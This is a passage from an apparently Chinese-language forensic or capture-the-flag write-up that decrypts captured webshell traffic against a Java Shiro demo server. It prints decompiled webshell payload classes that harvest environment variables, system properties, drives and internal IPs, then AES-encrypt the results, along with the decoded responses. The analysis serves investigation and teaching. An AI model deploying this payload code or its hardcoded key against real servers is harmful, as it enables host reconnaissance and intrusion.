        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private String base64encode(byte[] data) throws Exception {
        String result;
        System.getProperty("java.version");
        try {
            getClass();
            Class Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
            result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable th) {
            getClass();
            Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
            String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data);
            result = result2.replace("\n", "").replace("\r", "");
        }
        return result;
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];
        for (int i = 0; i < buf.length; i++) {
            buf[i] = (byte) random.nextInt(256);
        }
        return buf;
    }
}

发现只是返回一串1oMRO2dvZFDzLDMX8h...mqNGvJnB3v数据并base64加密。继续解密回包，得到：

{"status":"c3VjY2Vzcw==","msg":"MW9NUk8yZHZaRkR6TERNWDhoTmlZQmgycXpCdlN6U2kxRWFEMnZDTU03UThreHF4clgwODVKbHFGcnQ0MHFrdTZSQ1IwRDBKRjN0UGM1ZllVV1c1T3AwWVA5aExwRzhNUGxndE9wTVliZERIMWlHbXVXTzc1STNYVk85ZXZjeXFoYjE5U2szRXQ5OXdrS2w1ZnNZQVdaS0VvZkptc2lzN1Z2MnVDUndHYnNFNkx2cG1xTkd2Sm5CM3Y="}

msg字段Base64解密得到：1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v，证明猜想正确。

接着继续解密并逆向第二个请求：

代码部分 - 点击展开

内容很长，不想看可以折叠

package org.arkpoti.qegfs;

import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: BasicInfo.java */
/* loaded from: payload-favicondemo(2).ico.class */
public class Huhmocmx {
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class<?> cls = Class.forName("java.util.Base64");
            Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes();
        }
        return bArrDoFinal;
    }

    public Huhmocmx() {
        whatever = "";
        whatever += "nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy";
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map<String, String> result = new HashMap<>();
        try {
            fillContext(obj);
            StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
            Map<String, String> env = System.getenv();
            for (String name : env.keySet()) {
                basicInfo.append(name + "=" + env.get(name) + "<br/>");
            }
            basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
            Properties props = System.getProperties();
            Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
            for (Map.Entry<Object, Object> entry : entrySet) {
                basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
            }
            String currentPath = new File("").getAbsolutePath();
            String driveList = "";
            File[] roots = File.listRoots();
            for (File f : roots) {
                driveList = driveList + f.getPath() + ";";
            }
            String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
            Map<String, String> entity = new HashMap<>();
            entity.put("basicInfo", basicInfo.toString());
            entity.put("currentPath", currentPath);
            entity.put("driveList", driveList);
            entity.put("osInfo", osInfo);
            entity.put("arch", System.getProperty("os.arch"));
            entity.put("localIp", getInnerIp());
            result.put("status", "success");
            result.put("msg", buildJson(entity, true));
            try {
                Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                Method write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
                so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
                return true;
            } catch (Exception e) {
                return true;
            }
        } catch (Exception e2) {
            try {
                Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                Method write2 = so2.getClass().getMethod("write", byte[].class);
                write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
                so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
                return true;
            } catch (Exception e3) {
                return true;
            }
        } catch (Throwable th) {
            try {
                Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                Method write3 = so3.getClass().getMethod("write", byte[].class);
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
                so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
            } catch (Exception e4) {
            }
            throw th;
        }
    }

    private String getInnerIp() throws SocketException {
        String ips = "";
        try {
            Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces();
            while (netInterfaces.hasMoreElements()) {
                NetworkInterface netInterface = netInterfaces.nextElement();
                Enumeration<InetAddress> addresses = netInterface.getInetAddresses();
                while (addresses.hasMoreElements()) {
                    InetAddress ip = addresses.nextElement();
                    if (ip != null && (ip instanceof Inet4Address)) {
                        ips = ips + ip.getHostAddress() + " ";
                    }
                }
            }
        } catch (Exception e) {
        }
        return ips.replace("127.0.0.1", "").trim();
    }

    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        for (String key : entity.keySet()) {
            sb.append("\"" + key + "\":\"");
            String value = entity.get(key).toString();
            if (encode) {
                if (version.compareTo("1.9") >= 0) {
                    getClass();
                    Class Base64 = Class.forName("java.util.Base64");
                    Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
                    value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    getClass();
                    Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
                    value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", "");
                }
            }
            sb.append(value);
            sb.append("\",");
        }
        sb.setLength(sb.length() - 1);
        sb.append("}");
        return sb.toString();
    }

    private String base64encode(byte[] data) throws Exception {
        String result;
        System.getProperty("java.version");
        try {
            getClass();
            Class Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
            result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable th) {
            getClass();
            Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
            String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data);
            result = result2.replace("\n", "").replace("\r", "");
        }
        return result;
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
            this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
            this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
        } else {
            Map<String, Object> objMap = (Map) obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }
        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];
        for (int i = 0; i < buf.length; i++) {
            buf[i] = (byte) random.nextInt(256);
        }
        return buf;
    }
}

发现是读取系统信息，返回值：

{"msg":"eyJvc0luZm8iOiJUR2x1ZFhnMkxqZ3VNQzA0T0MxblpXNWxjbWxqWVcxa05qUT0iLCJkcml2ZUxpc3QiOiJMenM9IiwibG9jYWxJcCI6Ik1UY3lMakU0TGpBdU1nPT0iLCJjdXJyZW50UGF0aCI6Ikx3PT0iLCJhcmNoIjoiWVcxa05qUT0iLCJiYXNpY0luZm8iOiJQR0p5THo0OFptOXVkQ0J6YVhwbFBUSWdZMjlzYjNJOWNtVmtQdWVPcitXaWcrV1BtT21IanpvOEwyWnZiblErUEdKeUx6NVFRVlJJUFM5MWMzSXZiRzlqWVd3dmMySnBiam92ZFhOeUwyeHZZMkZzTDJKcGJqb3ZkWE55TDNOaWFXNDZMM1Z6Y2k5aWFXNDZMM05pYVc0NkwySnBianhpY2k4K1NFOVRWRTVCVFVVOU1EazNNRFUyWVRnek9Ea3hQR0p5THo1S1FWWkJYMFJGUWtsQlRsOVdSVkpUU1U5T1BUaDFNVEF5TFdJeE5DNHhMVEYrWW5Cdk9Dc3hQR0p5THo1S1FWWkJYMGhQVFVVOUwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrUTBGZlEwVlNWRWxHU1VOQlZFVlRYMHBCVmtGZlZrVlNVMGxQVGoweU1ERTBNRE15TkR4aWNpOCtTa0ZXUVY5V1JWSlRTVTlPUFRoMU1UQXlQR0p5THo1TVFVNUhQVU11VlZSR0xUZzhZbkl2UGtoUFRVVTlMM0p2YjNROFluSXZQanhpY2k4K1BHWnZiblFnYzJsNlpUMHlJR052Ykc5eVBYSmxaRDVLVWtYbnM3dm51NS9sc1o3bWdLYzZQQzltYjI1MFBqeGljaTgrYW1GMllTNXlkVzUwYVcxbExtNWhiV1VnUFNCUGNHVnVTa1JMSUZKMWJuUnBiV1VnUlc1MmFYSnZibTFsYm5ROFluSXZQbXBoZG1FdWNISnZkRzlqYjJ3dWFHRnVaR3hsY2k1d2EyZHpJRDBnYjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1aWIyOTBMbXh2WVdSbGNqeGljaTgrYzNWdUxtSnZiM1F1YkdsaWNtRnllUzV3WVhSb0lEMGdMM1Z6Y2k5c2FXSXZhblp0TDJwaGRtRXRPQzF2Y0dWdWFtUnJMV0Z0WkRZMEwycHlaUzlzYVdJdllXMWtOalE4WW5JdlBtcGhkbUV1ZG0wdWRtVnljMmx2YmlBOUlESTFMakV3TWkxaU1UUThZbkl2UG1waGRtRXVkbTB1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXFZWFpoTG5abGJtUnZjaTUxY213Z1BTQm9kSFJ3T2k4dmFtRjJZUzV2Y21GamJHVXVZMjl0THp4aWNpOCtjR0YwYUM1elpYQmhjbUYwYjNJZ1BTQTZQR0p5THo1cVlYWmhMblp0TG01aGJXVWdQU0JQY0dWdVNrUkxJRFkwTFVKcGRDQlRaWEoyWlhJZ1ZrMDhZbkl2UG1acGJHVXVaVzVqYjJScGJtY3VjR3RuSUQwZ2MzVnVMbWx2UEdKeUx6NXpkVzR1YW1GMllTNXNZWFZ1WTJobGNpQTlJRk5WVGw5VFZFRk9SRUZTUkR4aWNpOCtjM1Z1TG05ekxuQmhkR05vTG14bGRtVnNJRDBnZFc1cmJtOTNianhpY2k4K1VFbEVJRDBnTVR4aWNpOCthbUYyWVM1MmJTNXpjR1ZqYVdacFkyRjBhVzl1TG01aGJXVWdQU0JLWVhaaElGWnBjblIxWVd3Z1RXRmphR2x1WlNCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1MWMyVnlMbVJwY2lBOUlDODhZbkl2UG1waGRtRXVjblZ1ZEdsdFpTNTJaWEp6YVc5dUlEMGdNUzQ0TGpCZk1UQXlMVGgxTVRBeUxXSXhOQzR4TFRGK1luQnZPQ3N4TFdJeE5EeGljaTgrYW1GMllTNWhkM1F1WjNKaGNHaHBZM05sYm5ZZ1BTQnpkVzR1WVhkMExsZ3hNVWR5WVhCb2FXTnpSVzUyYVhKdmJtMWxiblE4WW5JdlBtcGhkbUV1Wlc1a2IzSnpaV1F1WkdseWN5QTlJQzkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwyVnVaRzl5YzJWa1BHSnlMejV2Y3k1aGNtTm9JRDBnWVcxa05qUThZbkl2UG1waGRtRXVhVzh1ZEcxd1pHbHlJRDBnTDNSdGNEeGljaTgrYkdsdVpTNXpaWEJoY21GMGIzSWdQU0FLUEdKeUx6NXFZWFpoTG5adExuTndaV05wWm1sallYUnBiMjR1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXZjeTV1WVcxbElEMGdUR2x1ZFhnOFluSXZQbk4xYmk1cWJuVXVaVzVqYjJScGJtY2dQU0JWVkVZdE9EeGljaTgrYzNCeWFXNW5MbUpsWVc1cGJtWnZMbWxuYm05eVpTQTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWJHbGljbUZ5ZVM1d1lYUm9JRDBnTDNWemNpOXFZWFpoTDNCaFkydGhaMlZ6TDJ4cFlpOWhiV1EyTkRvdmRYTnlMMnhwWWk5NE9EWmZOalF0YkdsdWRYZ3RaMjUxTDJwdWFUb3ZiR2xpTDNnNE5sODJOQzFzYVc1MWVDMW5iblU2TDNWemNpOXNhV0l2ZURnMlh6WTBMV3hwYm5WNExXZHVkVG92ZFhOeUwyeHBZaTlxYm1rNkwyeHBZam92ZFhOeUwyeHBZanhpY2k4K2FtRjJZUzV6Y0dWamFXWnBZMkYwYVc5dUxtNWhiV1VnUFNCS1lYWmhJRkJzWVhSbWIzSnRJRUZRU1NCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1cVlYWmhMbU5zWVhOekxuWmxjbk5wYjI0Z1BTQTFNaTR3UEdKeUx6NXpkVzR1YldGdVlXZGxiV1Z1ZEM1amIyMXdhV3hsY2lBOUlFaHZkRk53YjNRZ05qUXRRbWwwSUZScFpYSmxaQ0JEYjIxd2FXeGxjbk04WW5JdlBtOXpMblpsY25OcGIyNGdQU0EyTGpndU1DMDRPQzFuWlc1bGNtbGpQR0p5THo1MWMyVnlMbWh2YldVZ1BTQXZjbTl2ZER4aWNpOCtZMkYwWVd4cGJtRXVkWE5sVG1GdGFXNW5JRDBnWm1Gc2MyVThZbkl2UG5WelpYSXVkR2x0WlhwdmJtVWdQU0JGZEdNdlZWUkRQR0p5THo1cVlYWmhMbUYzZEM1d2NtbHVkR1Z5YW05aUlEMGdjM1Z1TG5CeWFXNTBMbEJUVUhKcGJuUmxja3B2WWp4aWNpOCtabWxzWlM1bGJtTnZaR2x1WnlBOUlGVlVSaTA0UEdKeUx6NXFZWFpoTG5Od1pXTnBabWxqWVhScGIyNHVkbVZ5YzJsdmJpQTlJREV1T0R4aWNpOCtZMkYwWVd4cGJtRXVhRzl0WlNBOUlDOTBiWEF2ZEc5dFkyRjBMakl6TnpFMk9EYzJOekV5T1RBNU9EQXpPVEF1T0RBNE1EeGljaTgrYW1GMllTNWpiR0Z6Y3k1d1lYUm9JRDBnTDNOb2FYSnZaR1Z0YnkweExqQXRVMDVCVUZOSVQxUXVhbUZ5UEdKeUx6NTFjMlZ5TG01aGJXVWdQU0J5YjI5MFBHSnlMejVxWVhaaExuWnRMbk53WldOcFptbGpZWFJwYjI0dWRtVnljMmx2YmlBOUlERXVPRHhpY2k4K2MzVnVMbXBoZG1FdVkyOXRiV0Z1WkNBOUlDOXphR2x5YjJSbGJXOHRNUzR3TFZOT1FWQlRTRTlVTG1waGNqeGljaTgrYW1GMllTNW9iMjFsSUQwZ0wzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrYzNWdUxtRnlZMmd1WkdGMFlTNXRiMlJsYkNBOUlEWTBQR0p5THo1MWMyVnlMbXhoYm1kMVlXZGxJRDBnWlc0OFluSXZQbXBoZG1FdWMzQmxZMmxtYVdOaGRHbHZiaTUyWlc1a2IzSWdQU0JQY21GamJHVWdRMjl5Y0c5eVlYUnBiMjQ4WW5JdlBtRjNkQzUwYjI5c2EybDBJRDBnYzNWdUxtRjNkQzVZTVRFdVdGUnZiMnhyYVhROFluSXZQbXBoZG1FdWRtMHVhVzVtYnlBOUlHMXBlR1ZrSUcxdlpHVThZbkl2UG1waGRtRXVkbVZ5YzJsdmJpQTlJREV1T0M0d1h6RXdNanhpY2k4K2FtRjJZUzVsZUhRdVpHbHljeUE5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMlY0ZERvdmRYTnlMMnBoZG1FdmNHRmphMkZuWlhNdmJHbGlMMlY0ZER4aWNpOCtjM1Z1TG1KdmIzUXVZMnhoYzNNdWNHRjBhQ0E5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMM0psYzI5MWNtTmxjeTVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2Y25RdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwzTjFibkp6WVhOcFoyNHVhbUZ5T2k5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMnB6YzJVdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwycGpaUzVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2WTJoaGNuTmxkSE11YW1GeU9pOTFjM0l2YkdsaUwycDJiUzlxWVhaaExUZ3RiM0JsYm1wa2F5MWhiV1EyTkM5cWNtVXZiR2xpTDJwbWNpNXFZWEk2TDNWemNpOXNhV0l2YW5adEwycGhkbUV0T0MxdmNHVnVhbVJyTFdGdFpEWTBMMnB5WlM5amJHRnpjMlZ6UEdKeUx6NXFZWFpoTG1GM2RDNW9aV0ZrYkdWemN5QTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWRtVnVaRzl5SUQwZ1QzSmhZMnhsSUVOdmNuQnZjbUYwYVc5dVBHSnlMejVqWVhSaGJHbHVZUzVpWVhObElEMGdMM1J0Y0M5MGIyMWpZWFF1TWpNM01UWTROelkzTVRJNU1EazRNRE01TUM0NE1EZ3dQR0p5THo1bWFXeGxMbk5sY0dGeVlYUnZjaUE5SUM4OFluSXZQbXBoZG1FdWRtVnVaRzl5TG5WeWJDNWlkV2NnUFNCb2RIUndPaTh2WW5WbmNtVndiM0owTG5OMWJpNWpiMjB2WW5WbmNtVndiM0owTHp4aWNpOCtjM1Z1TG1sdkxuVnVhV052WkdVdVpXNWpiMlJwYm1jZ1BTQlZibWxqYjJSbFRHbDBkR3hsUEdKeUx6NXpkVzR1WTNCMUxtVnVaR2xoYmlBOUlHeHBkSFJzWlR4aWNpOCtjM1Z1TG1Od2RTNXBjMkZzYVhOMElEMGdQR0p5THo0PSJ9","status":"c3VjY2Vzcw=="}

对msgBase64解密得到：

{"osInfo":"TGludXg2LjguMC04OC1nZW5lcmljYW1kNjQ=","driveList":"Lzs=","localIp":"MTcyLjE4LjAuMg==","currentPath":"Lw==","arch":"YW1kNjQ=","basicInfo":"PGJyLz48Zm9udCBzaXplPTIgY29sb3I9cmVkPueOr+Wig+WPmOmHjzo8L2ZvbnQ+PGJyLz5QQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2Jpbjxici8+SE9TVE5BTUU9MDk3MDU2YTgzODkxPGJyLz5KQVZBX0RFQklBTl9WRVJTSU9OPTh1MTAyLWIxNC4xLTF+YnBvOCsxPGJyLz5KQVZBX0hPTUU9L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+Q0FfQ0VSVElGSUNBVEVTX0pBVkFfVkVSU0lPTj0yMDE0MDMyNDxici8+SkFWQV9WRVJTSU9OPTh1MTAyPGJyLz5MQU5HPUMuVVRGLTg8YnIvPkhPTUU9L3Jvb3Q8YnIvPjxici8+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5KUkXns7vnu5/lsZ7mgKc6PC9mb250Pjxici8+amF2YS5ydW50aW1lLm5hbWUgPSBPcGVuSkRLIFJ1bnRpbWUgRW52aXJvbm1lbnQ8YnIvPmphdmEucHJvdG9jb2wuaGFuZGxlci5wa2dzID0gb3JnLnNwcmluZ2ZyYW1ld29yay5ib290LmxvYWRlcjxici8+c3VuLmJvb3QubGlicmFyeS5wYXRoID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvYW1kNjQ8YnIvPmphdmEudm0udmVyc2lvbiA9IDI1LjEwMi1iMTQ8YnIvPmphdmEudm0udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLnZlbmRvci51cmwgPSBodHRwOi8vamF2YS5vcmFjbGUuY29tLzxici8+cGF0aC5zZXBhcmF0b3IgPSA6PGJyLz5qYXZhLnZtLm5hbWUgPSBPcGVuSkRLIDY0LUJpdCBTZXJ2ZXIgVk08YnIvPmZpbGUuZW5jb2RpbmcucGtnID0gc3VuLmlvPGJyLz5zdW4uamF2YS5sYXVuY2hlciA9IFNVTl9TVEFOREFSRDxici8+c3VuLm9zLnBhdGNoLmxldmVsID0gdW5rbm93bjxici8+UElEID0gMTxici8+amF2YS52bS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFZpcnR1YWwgTWFjaGluZSBTcGVjaWZpY2F0aW9uPGJyLz51c2VyLmRpciA9IC88YnIvPmphdmEucnVudGltZS52ZXJzaW9uID0gMS44LjBfMTAyLTh1MTAyLWIxNC4xLTF+YnBvOCsxLWIxNDxici8+amF2YS5hd3QuZ3JhcGhpY3NlbnYgPSBzdW4uYXd0LlgxMUdyYXBoaWNzRW52aXJvbm1lbnQ8YnIvPmphdmEuZW5kb3JzZWQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2VuZG9yc2VkPGJyLz5vcy5hcmNoID0gYW1kNjQ8YnIvPmphdmEuaW8udG1wZGlyID0gL3RtcDxici8+bGluZS5zZXBhcmF0b3IgPSAKPGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5vcy5uYW1lID0gTGludXg8YnIvPnN1bi5qbnUuZW5jb2RpbmcgPSBVVEYtODxici8+c3ByaW5nLmJlYW5pbmZvLmlnbm9yZSA9IHRydWU8YnIvPmphdmEubGlicmFyeS5wYXRoID0gL3Vzci9qYXZhL3BhY2thZ2VzL2xpYi9hbWQ2NDovdXNyL2xpYi94ODZfNjQtbGludXgtZ251L2puaTovbGliL3g4Nl82NC1saW51eC1nbnU6L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudTovdXNyL2xpYi9qbmk6L2xpYjovdXNyL2xpYjxici8+amF2YS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFBsYXRmb3JtIEFQSSBTcGVjaWZpY2F0aW9uPGJyLz5qYXZhLmNsYXNzLnZlcnNpb24gPSA1Mi4wPGJyLz5zdW4ubWFuYWdlbWVudC5jb21waWxlciA9IEhvdFNwb3QgNjQtQml0IFRpZXJlZCBDb21waWxlcnM8YnIvPm9zLnZlcnNpb24gPSA2LjguMC04OC1nZW5lcmljPGJyLz51c2VyLmhvbWUgPSAvcm9vdDxici8+Y2F0YWxpbmEudXNlTmFtaW5nID0gZmFsc2U8YnIvPnVzZXIudGltZXpvbmUgPSBFdGMvVVRDPGJyLz5qYXZhLmF3dC5wcmludGVyam9iID0gc3VuLnByaW50LlBTUHJpbnRlckpvYjxici8+ZmlsZS5lbmNvZGluZyA9IFVURi04PGJyLz5qYXZhLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+Y2F0YWxpbmEuaG9tZSA9IC90bXAvdG9tY2F0LjIzNzE2ODc2NzEyOTA5ODAzOTAuODA4MDxici8+amF2YS5jbGFzcy5wYXRoID0gL3NoaXJvZGVtby0xLjAtU05BUFNIT1QuamFyPGJyLz51c2VyLm5hbWUgPSByb290PGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVyc2lvbiA9IDEuODxici8+c3VuLmphdmEuY29tbWFuZCA9IC9zaGlyb2RlbW8tMS4wLVNOQVBTSE9ULmphcjxici8+amF2YS5ob21lID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+c3VuLmFyY2guZGF0YS5tb2RlbCA9IDY0PGJyLz51c2VyLmxhbmd1YWdlID0gZW48YnIvPmphdmEuc3BlY2lmaWNhdGlvbi52ZW5kb3IgPSBPcmFjbGUgQ29ycG9yYXRpb248YnIvPmF3dC50b29sa2l0ID0gc3VuLmF3dC5YMTEuWFRvb2xraXQ8YnIvPmphdmEudm0uaW5mbyA9IG1peGVkIG1vZGU8YnIvPmphdmEudmVyc2lvbiA9IDEuOC4wXzEwMjxici8+amF2YS5leHQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2V4dDovdXNyL2phdmEvcGFja2FnZXMvbGliL2V4dDxici8+c3VuLmJvb3QuY2xhc3MucGF0aCA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3Jlc291cmNlcy5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvcnQuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL3N1bnJzYXNpZ24uamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pzc2UuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pjZS5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvY2hhcnNldHMuamFyOi91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2pmci5qYXI6L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9jbGFzc2V